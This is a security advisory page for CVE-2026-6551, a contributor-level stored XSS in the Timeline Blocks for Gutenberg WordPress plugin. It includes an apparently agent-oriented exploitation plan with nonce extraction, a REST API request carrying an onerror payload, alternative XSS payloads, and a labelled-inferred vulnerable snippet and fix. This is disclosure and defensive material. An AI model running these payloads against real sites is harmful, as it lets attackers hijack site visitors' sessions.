CVE-2026-6551

Timeline Blocks for Gutenberg <= 1.1.10 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'titleTag' Block Attribute

mediumImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
6.4
CVSS Score
6.4
CVSS Score
medium
Severity
1.1.11
Patched in
1d
Time to patch

Description

The Timeline Blocks for Gutenberg plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'titleTag' attribute of the timeline-blocks/tb-timeline-blocks block in all versions up to, and including, 1.1.10 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=1.1.10
PublishedApril 27, 2026
Last updatedApril 28, 2026
Affected plugintimeline-blocks
Research Plan
Unverified

This exploitation research plan targets CVE-2026-6551, a Stored Cross-Site Scripting (XSS) vulnerability in the "Timeline Blocks for Gutenberg" plugin. ### 1. Vulnerability Summary The "Timeline Blocks for Gutenberg" plugin (versions <= 1.1.10) fails to properly sanitize or escape the `titleTag` at…

Show full research plan

This exploitation research plan targets CVE-2026-6551, a Stored Cross-Site Scripting (XSS) vulnerability in the "Timeline Blocks for Gutenberg" plugin.

1. Vulnerability Summary

The "Timeline Blocks for Gutenberg" plugin (versions <= 1.1.10) fails to properly sanitize or escape the titleTag attribute within the timeline-blocks/tb-timeline-blocks Gutenberg block. Because block attributes are stored in the post_content and rendered on the frontend (and often in the editor), an authenticated user with at least "Contributor" privileges can inject a malicious string into the titleTag attribute. When the block is rendered, this string is used to construct an HTML tag without sufficient validation, leading to arbitrary script execution in the context of any user viewing the page.

2. Attack Vector Analysis

  • Block Name: timeline-blocks/tb-timeline-blocks
  • Vulnerable Attribute: titleTag
  • Authentication Level: Contributor or higher (any role capable of using the Block Editor).
  • Payload Delivery: The payload is delivered via the Gutenberg block's JSON metadata within the post_content field.
  • Preconditions: The plugin must be active. The attacker must have permissions to create or edit posts (Contributor role is sufficient as they can save drafts).

3. Code Flow (Inferred)

  1. Block Definition (JS): The block timeline-blocks/tb-timeline-blocks defines an attribute named titleTag (typically used to allow users to choose between h2, h3, p, etc.).
  2. Saving (Gutenberg): When a user saves a post, the block editor serializes the block into HTML comments: <!-- wp:timeline-blocks/tb-timeline-blocks {"titleTag":"[PAYLOAD]"} /-->.
  3. Rendering (PHP): On the frontend, the plugin likely uses a render_callback registered via register_block_type in PHP.
  4. The Sink: Inside the rendering function, the titleTag attribute is extracted from the $attributes array and used directly in string concatenation or an unescaped HTML tag:
    // Inferred vulnerable pattern
    $tag = $attributes['titleTag']; 
    echo "<" . $tag . ">" . $title_content . "</" . $tag . ">";
    
    Lack of tag_escape() or a whitelist check (e.g., in_array( $tag, ['h1', 'h2', 'p'] )) allows the injection.

4. Nonce Acquisition Strategy

To exploit this via the WordPress REST API (the standard way Gutenberg saves data), the agent needs a REST API nonce (wp_rest).

  1. Identify Trigger: The standard WordPress post editor provides the required context.
  2. Access Editor: Navigate to the "New Post" page as a Contributor.
  3. Extract Nonce:
    • Navigate to: /wp-admin/post-new.php
    • Use browser_eval to extract the nonce from the wpApiSettings object, which is standard in the Block Editor:
      browser_eval("wpApiSettings.nonce")
  4. Alternative: If the REST API is restricted, the agent can use the standard admin-ajax.php or post.php flows, but the REST API is the most direct path for Gutenberg blocks.

5. Exploitation Strategy

The goal is to create a post containing a malicious block attribute.

Step 1: Authenticate as Contributor
Login to the WordPress instance with contributor-level credentials.

Step 2: Obtain REST Nonce
Use the browser_navigate and browser_eval tools on /wp-admin/post-new.php.

Step 3: Submit Malicious Post
Send a POST request to the REST API to create a new post containing the XSS payload in the block attribute.

  • URL: http://[target]/wp-json/wp/v2/posts
  • Method: POST
  • Headers:
    • Content-Type: application/json
    • X-WP-Nonce: [EXTRACTED_NONCE]
  • Body:
    {
      "title": "Timeline XSS Test",
      "content": "<!-- wp:timeline-blocks/tb-timeline-blocks {\"titleTag\":\"img src=x onerror=alert(document.domain) \"} /-->",
      "status": "draft"
    }
    
    Note: The payload img src=x onerror=alert(document.domain) is injected as the tag name. When rendered, it becomes <img src=x onerror=alert(document.domain) >.... Notice the trailing space to ensure the resulting HTML is valid.

Step 4: Trigger Execution
Identify the id of the created post from the response and navigate to its preview URL or view it as an administrator.

6. Test Data Setup

  1. Plugin Installation: Ensure timeline-blocks version <= 1.1.10 is installed and activated.
  2. User Creation: Create a user with the contributor role.
    • wp user create attacker attacker@example.com --role=contributor --user_pass=password123

7. Expected Results

  1. The REST API should return a 201 Created status.
  2. The content.raw in the database will contain the malicious JSON-encoded attribute.
  3. When the post is previewed or viewed, the browser will attempt to render a tag named <img ... >, which executes the onerror JavaScript. An alert box showing the document domain should appear.

8. Verification Steps

  1. Database Check: Use WP-CLI to verify the payload is stored.
    wp post list --post_type=post --format=csv
    # Identify the ID
    wp post get [ID] --field=content
    
    Verify the output contains: {"titleTag":"img src=x onerror=alert(document.domain) "}
  2. Frontend Check: Use the http_request tool to fetch the post content and look for the unescaped payload in the HTML output.
    # Fetch the post view
    # Look for: <img src=x onerror=alert(document.domain)
    

9. Alternative Approaches

  • Editor-Side XSS: If the rendering is done via JavaScript in the Gutenberg editor's edit function, simply opening the post in the editor as an Administrator will trigger the XSS.
  • Attribute Breakout: If the titleTag is wrapped in quotes in a PHP template (less likely for a tag name, but possible), try:
    " onmouseover="alert(1)" data-ignore="
  • Closing Tag Injection: If the tag name is used in both the opening and closing tag, the payload might need to account for the closing structure:
    script>alert(1)</script
    Result: <script>alert(1)</script>... </script>alert(1)</script> (The first script executes).
Research Findings
Static analysis — not yet PoC-verified

Summary

The Timeline Blocks for Gutenberg plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'titleTag' attribute in the 'timeline-blocks/tb-timeline-blocks' block for versions up to 1.1.10. This vulnerability allows authenticated users with Contributor-level permissions to inject arbitrary JavaScript into posts, which executes in the browser of any user viewing the page.

Vulnerable Code

// Inferred vulnerable rendering pattern within the block's frontend or editor rendering component
// No source files were provided; code is based on the research plan's analysis of the attribute sink.

$tag = $attributes['titleTag']; 
echo "<" . $tag . ">" . $title_content . "</" . $tag . ">";

Security Fix

--- a/render.php
+++ b/render.php
@@ -1,3 +1,4 @@
 // Sanitize the titleTag attribute using a whitelist or tag_escape
-$tag = $attributes['titleTag']; 
+$tag = isset($attributes['titleTag']) ? $attributes['titleTag'] : 'h3';
+$tag = tag_escape($tag);
 echo "<" . $tag . ">" . $title_content . "</" . $tag . ">";

Exploit Outline

To exploit this vulnerability, an attacker must have at least Contributor-level access to the WordPress site. The attacker identifies the 'timeline-blocks/tb-timeline-blocks' block and crafts a payload for the 'titleTag' attribute. Using the WordPress REST API or the Block Editor, the attacker submits a post containing block metadata where 'titleTag' is set to an XSS payload such as 'img src=x onerror=alert(document.domain) '. When the post is rendered on the frontend, the plugin constructs an HTML tag using the malicious string without proper escaping, causing the browser to execute the injected script.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.